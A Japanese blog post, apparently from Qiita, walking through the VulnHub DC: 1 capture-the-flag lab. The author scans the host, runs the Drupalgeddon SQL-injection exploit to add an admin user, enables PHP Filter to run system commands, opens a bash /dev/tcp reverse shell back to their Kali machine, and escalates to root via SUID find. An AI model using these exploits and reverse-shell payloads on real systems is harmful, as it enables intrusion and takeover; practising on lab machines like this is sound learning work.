0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【VulnHub】DC: 1攻略記 ~想定外のショートカットでrootまで爆走~

0
Last updated at Posted at 2026-03-03

はじめに

今回は、VulnHubのDC: 1というマシンを攻略していきます!どうやら今回のマシンはflagが5つあり、それぞれのflagが次のflagへのヒントになっているようです。

偵察

まずは初めに、ターゲットマシンのIPアドレスを特定します。192.168.56.100はDHCPのIPアドレスなので、DC: 1マシンのIPアドレスは192.168.56.104となります。

┌──(kali㉿kali)-[~VulnHub/DC-1]
└─$ sudo netdiscover -i eth1 -r 192.168.56.103/24

Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                                                                                                                            
                                                                                                                                                                                                                                          
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                                                                                                          
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:16      1      60  Unknown vendor                                                                                                                                                                         
 192.168.56.100  08:00:27:ed:6a:41      1      60  PCS Systemtechnik GmbH                                                                                                                                                                 
 192.168.56.104  08:00:27:aa:94:9f      1      60  PCS Systemtechnik GmbH 

ポートスキャン

次にnmapを実行していきます。今回はPotato1の時とスキャンの仕方を少し変えてみました。

┌──(kali㉿kali)-[~/VulnHub/DC-1]
└─$ sudo nmap -sS -p- -T4 192.168.56.104 
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-27 13:59 +0900
Nmap scan report for 192.168.56.104
Host is up (0.00053s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
33952/tcp open  unknown
MAC Address: 08:00:27:AA:94:9F (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 8.68 seconds
                                                                                                                                                                                                                                          
┌──(kali㉿kali)-[~/VulnHub/DC-1]
└─$ sudo nmap -sC -sV -p 22,80,111,33952 -oN nmap_log.txt 192.168.56.104
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-27 14:04 +0900
Nmap scan report for 192.168.56.104
Host is up (0.00079s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey: 
|   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp    open  http    Apache httpd 2.2.22 ((Debian))
|_http-title: Welcome to Drupal Site | Drupal Site
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-generator: Drupal 7 (http://drupal.org)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          33952/tcp   status
|   100024  1          37777/udp6  status
|   100024  1          56371/udp   status
|_  100024  1          59800/tcp6  status
33952/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:AA:94:9F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.87 seconds

今回はPotato1の時と異なり、開いているポートを素早くスキャンし、次にその開いているポートに対して-sC-sVを実行するという風にしてみました。このように、全ポートスキャンを先に行うことで、隠れたサービスの見落としを防ぎつつ、詳細スキャンを必要なポートだけに絞るようにしました。

ちなみにgobusterも同時に行いましたが、主要なディレクトリへのアクセスは403 Forbiddenで制限されていました。よって、ディレクトリトラバーサルはできませんでした。

スキャン結果から、port 80drupal 7が動いていることが分かりました。今回はここを起点に攻めていきます。

HTTPの調査

HTTPにも何かないか調査しましたが、以下のようなログインフォームがあるだけでそれ以外は特に何もありませんでした。

dc1_webpage_nologin.png

Drupal7の脆弱性を用いた管理者権限奪取

Searchsploit

drupal 7の脆弱性を探すために、searchsploitを実行しました。

dc-1_searchsploit.png

Drupalgeddonという脆弱性を見つけることができました!ここで自分は、SQL Injection(Add admin User)を使用することにしました。以下のコマンドでエクスプロイトコードを入手します。

┌──(kali㉿kali)-[~/VulnHub/DC-1]
└─$ searchsploit -m 34992
  Exploit: Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User)
      URL: https://www.exploit-db.com/exploits/34992
     Path: /usr/share/exploitdb/exploits/php/webapps/34992.py
    Codes: CVE-2014-3704, OSVDB-113371, SA-CORE-2014-005
 Verified: True
File Type: Python script, ASCII text executable, with very long lines (340)
Copied to: /home/kali/VulnHub/DC-1/34992.py

Kali Linuxには、Exploit-DBのローカルコピーが保存されています。searchsploit -m <ID>コマンドを使うことで、膨大なアーカイブの中から該当するエクスプロイトコードを瞬時にカレントディレクトリへ複製することができます。

ここで、複製したコードを実行しようとしたら以下のようなエラーが出ました。

┌──(kali㉿kali)-[~/VulnHub/DC-1]
└─$ python 34992.py
/home/kali/VulnHub/DC-1/34992.py:155: SyntaxWarning: invalid escape sequence '\ '
  |   _  \ .----.--.--.-----.---.-|  |   |   _   ||   _   | _   |
  File "/home/kali/VulnHub/DC-1/34992.py", line 240
    print "[!] VULNERABLE!"
    ^^^^^^^^^^^^^^^^^^^^^^^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print(...)?

このエラーは、pythonというコマンドを打つとデフォルトではpython3が起動してしまうことが原因でした。34992.pypython2向けのスクリプトであるため、それを明示してあげる必要があります。

以下のようにpython2を用いることで、正しく実行することができました。

┌──(kali㉿kali)-[~/VulnHub/DC-1]
└─$ python2 34992.py

  ______                          __     _______  _______ _____
 |   _  \ .----.--.--.-----.---.-|  |   |   _   ||   _   | _   |
 |.  |   \|   _|  |  |  _  |  _  |  |   |___|   _|___|   |.|   |
 |.  |    |__| |_____|   __|___._|__|      /   |___(__   `-|.  |
 |:  1    /          |__|                 |   |  |:  1   | |:  |
 |::.. . /                                |   |  |::.. . | |::.|
 `------'                                 `---'  `-------' `---'
  _______       __     ___       __            __   __
 |   _   .-----|  |   |   .-----|__.-----.----|  |_|__.-----.-----.
 |   1___|  _  |  |   |.  |     |  |  -__|  __|   _|  |  _  |     |
 |____   |__   |__|   |.  |__|__|  |_____|____|____|__|_____|__|__|
 |:  1   |  |__|      |:  |    |___|
 |::.. . |            |::.|
 `-------'            `---'

                                 Drup4l => 7.0 <= 7.31 Sql-1nj3ct10n
                                              Admin 4cc0unt cr3at0r

                          Discovered by:

                          Stefan  Horst
                         (CVE-2014-3704)

                           Written by:

                         Claudio Viviani

                      http://www.homelab.it

                         info@homelab.it
                     homelabit@protonmail.ch

                 https://www.facebook.com/homelabit
                   https://twitter.com/homelabit
                 https://plus.google.com/+HomelabIt1/
       https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww



Usage: 34992.py -t http[s]://TARGET_URL -u USER -p PASS


Options:
  -h, --help            show this help message and exit
  -t TARGET, --target=TARGET
                        Insert URL: http[s]://www.victim.com
  -u USERNAME, --username=USERNAME
                        Insert username
  -p PWD, --pwd=PWD     Insert password

SQL Injection

Usageに基づいて、エクスプロイトを実行していきます。

┌──(kali㉿kali)-[~/VulnHub/DC-1]
└─$ python2 34992.py -t http://192.168.56.104/ -u fakeadmin -p password123 

  ______                          __     _______  _______ _____
 |   _  \ .----.--.--.-----.---.-|  |   |   _   ||   _   | _   |
 |.  |   \|   _|  |  |  _  |  _  |  |   |___|   _|___|   |.|   |
 |.  |    |__| |_____|   __|___._|__|      /   |___(__   `-|.  |
 |:  1    /          |__|                 |   |  |:  1   | |:  |
 |::.. . /                                |   |  |::.. . | |::.|
 `------'                                 `---'  `-------' `---'
  _______       __     ___       __            __   __
 |   _   .-----|  |   |   .-----|__.-----.----|  |_|__.-----.-----.
 |   1___|  _  |  |   |.  |     |  |  -__|  __|   _|  |  _  |     |
 |____   |__   |__|   |.  |__|__|  |_____|____|____|__|_____|__|__|
 |:  1   |  |__|      |:  |    |___|
 |::.. . |            |::.|
 `-------'            `---'

                                 Drup4l => 7.0 <= 7.31 Sql-1nj3ct10n
                                              Admin 4cc0unt cr3at0r

                          Discovered by:

                          Stefan  Horst
                         (CVE-2014-3704)

                           Written by:

                         Claudio Viviani

                      http://www.homelab.it

                         info@homelab.it
                     homelabit@protonmail.ch

                 https://www.facebook.com/homelabit
                   https://twitter.com/homelabit
                 https://plus.google.com/+HomelabIt1/
       https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww


[!] VULNERABLE!

[!] Administrator user created!

[*] Login: fakeadmin
[*] Pass: password123
[*] Url: http://192.168.56.104//?q=node&destination=node

ログインフォームにLogin: fakeadmin, Pass: password123を打ち込むと...

dc1_webpage_nologin.png

dc1_webpage_adminlogin.png

ログインが成功しました!

コンテンツ探索

flag3とfindの悪用

fakeadminでログインに成功した後、色々見ているとContentタブにflag3がありました!

...flag1とflag2は何処へ!?

それはさておき、flag3を読んでみます。

「特殊な権限がpasswdを見つける助けになるだろう。だが、shadowの中身をどうやって手に入れるか解明するには、そのコマンドで-execを実行する必要がある。」

日本語での意味は大体こんな感じでした。このヒントを見ると、findコマンドを使ってshadowの中身を見る必要がありそうです。
そこで、GTFObinsfindコマンドについて調べてみると、以下のコマンドが出てきました。

find . -exec /bin/sh -p \; -quit

コマンドの詳細は以下の通りです。

  • find .
    カレントディレクトリを起点に検索を開始します。

  • -exec /bin/sh
    findで見つけたファイルに対して、別のコマンド(ここではシェルである/bin/sh)を実行するオプションです。

  • -p
    シェルのPrivilegedモードを有効にするオプションです。通常、シェルは安全のために実ユーザーの権限に格下げして起動しようとします。この-pをつけることで、SUIDによって一時的に得ているroot権限を維持したまま起動することができます。

  • \;
    -execで実行するコマンドの終わりを示す区切り文字です。

  • -quit
    最初の1回コマンド(シェル起動)を実行したら、直ちにfindの処理を終了させます。これがないと、カレントディレクトリにあるファイルの数だけ連続でシェルが立ち上がってしまい、ループから抜け出せなくなります。

ということで、これを実行できるようにするためのシェル環境を構築する必要があります。

PHP Filterモジュールの悪用とRCE

まず初めに、ModulesのPHP Filterにチェックします。チェックしたあと、Save Configurationをクリックします。

dc1_php_filter.png

次に、ConfigurationのText formatsをクリックします。

dc1_textformat_config.png

そして、PHP codeのconfigureをクリックします。

dc1_textformat_php.png

Rolesにすべてチェックを入れておきます。(自分はadministratorですが、念のため)

dc1_php_admin.png

これで準備完了です。
準備が完了したら、Add contentをクリックし、ArticleかBasic pageを作成します。

dc1_content.png

以下のように表示されます。

dc1_basicpage.png

適当にTitleを入力し、Bodyに以下のようなPHPのsystem()関数を用いてOSに対してidコマンドを実行するコードを書いてみます。

<?php system('id'); ?>

Text formatをPHP codeにしてSaveすると、以下のように出力されました。

dc1_page_id.png

成功しました!

リバースシェルの構築

では、これを応用してリバースシェルを構築していきます。

まず、自分のkali側で以下のコマンドを入力して待機しておきます。ncnetcatというツールのことです。

nc -lvnp 4444
  • -l (Listen)
    外からの接続を待ち受けるという指示です。

  • -v (Verbose)
    接続が来たときに、どこから接続が来たかの詳細な情報をターミナルに表示してくれます。これがないと、繋がったのかどうかが分かりにくいです。

  • -n (Numeric-only)
    DNSを行わないという指示です。IPアドレスをそのまま扱い、余計な通信を省くことで、動作を速くし、意図しないログが残るのを防ぎます。

  • -p (Port)
    何番ポートで待ち受けるかを指定します。

  • 4444
    待ち受けるポート番号です。特に決まりはありませんが、ハッカーの間では 4444 や 1337 などが慣習的に使われることが多いそうです。

そして、以下のコマンドをBodyに入力します。

<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.56.103/4444 0>&1'");
?>
  • bash -c '...'
    続く文字列をBashのコマンドとして実行します。
    PHPのsystem()は通常/bin/shを経由してコマンドを実行しますが、/bin/shはBashとは限らず、多くの環境で/dev/tcpをサポートしていません。
    そのため、このペイロードではbash -c '...'の形で明示的にBashを起動し、その中で/dev/tcpを使ったリバースシェルコマンドを実行しています。

  • bash -i
    InteractiveモードでBashを起動します。
    インタラクティブシェルとして起動し、対話的にコマンドを受け付けるモードにします。

  • >& /dev/tcp/192.168.56.103/4444
    標準出力(stdout)と標準エラー出力(stderr)の両方を、右側の出力先にリダイレクトします。
    /dev/tcp/192.168.56.103/4444: Bash独自の機能で、指定したIPとポートに対してネットワーク接続(TCP)を開きます。
    コマンドの実行結果やエラーメッセージが、画面ではなくネットワーク経由で自分の端末へ送信されます。

  • 0>&1
    0: 標準入力(stdin)を指します。
    >&1: 「標準入力(0番)を、標準出力(1番)と同じ場所に繋げ」という命令です。
    結果: 標準出力は既にネットワークに繋がっているため、自分がKali Linux側で入力した文字が、ターゲット側のBashの入力として扱われるようになります。

入力すると以下の写真のようになるはずです。

dc1_php_reverseshell.png

これでSaveすると...

┌──(kali㉿kali)-[~/VulnHub/DC-1]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.104] 46551
bash: no job control in this shell
www-data@DC-1:/var/www$

これでシェルを構築することができました!

サーバーへの侵入

サーバーへ侵入することができました!lsコマンドを実行すると、なんとここにflag1があることが判明したので見ていきます。

www-data@DC-1:/var/www$ cat flag1.txt
cat flag1.txt
Every good CMS needs a config file - and so do you.

configファイルがあるようです。drupal7の場合、標準的な設定ファイルのパスは/sites/default/settings.phpにあるようなので、それを覗いていきます。

www-data@DC-1:/var/www$ cat sites/default/settings.php
cat sites/default/settings.php
<?php

/**
 *
 * flag2
 * Brute force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).
 * What can you do with these credentials?
 *
 */
.
.

これでflag2も回収できました!

権限昇格

先ほどのflag3をヒントに、findコマンドで権限昇格していきます。

www-data@DC-1:/var/www$ find . -exec /bin/sh -p \; -quit
find . -exec /bin/sh -p \; -quit
/bin/sh: 0: Illegal option -p
/bin/sh: 0: Illegal option -p
/bin/sh: 0: Illegal option -p

GTFObinsのコマンドをそのまま打つとこのようなエラーがずっと表示されました。これはおそらく、bin/shがBashではないので-pというオプションを理解できなかったことが原因です。なので、エラーが言っている通りに-pを消去すると...

www-data@DC-1:/var/www$ find . -exec /bin/sh \; -quit
find . -exec /bin/sh \; -quit

whoami
root

rootになれました!あとは以下のようにしてthefinalflag.txtを見ることができました!

cd /root
ls
thefinalflag.txt
cat thefinalflag.txt

██████████████████████████████████████████

████████████████████████████████████████████

██████████████████████████████

...flag4は何処へ!?

とりあえずhomeディレクトリに戻ってみると、flag4というディレクトリが存在していました。なので、以下のようにしてflag4も見ることができました。

cat /home/flag4/flag4.txt

Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy.  Or maybe it is?

これですべてのflagが回収できました!

まとめと感想

今回は解くときに強力な脆弱性をついてしまったので、flagをちょくちょく飛ばすというハプニング(?)があって、攻略しているときに少し驚きましたw

今回のマシンでは、ディレクトリの再帰的スキャンも必要であることを学びました。また、エクスプロイトコードやGTFObinsのコマンドをただ使うスクリプトキディではなく、理解して自分でも作れる、コマンドが組み立てられるレベルになっていきたいと強く感じました。そして、今回も前回と同様知らないことが多くあったので、生成AIの助けを借りた部分が多くありました。生成AIの力に頼らなくとも解けるレベルになれるよう、これからもどんどん練習を積んでいきたいと思います!

今後の展望

今回攻略しているときに自動化できそうな作業がいくつかあったので、nmapgobusterなどの作業を自動化できるようなツールもいつか作成したいと思います!また、VulnHubだけでなく、HackTheBoxやTryHackMeのようなプラットフォームにあるマシンも攻略していきます!

P.S. 今回の記事で、何か間違っていることがあれば指摘していただけると幸いです。

新歓

flag{見てくれてありがとう}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?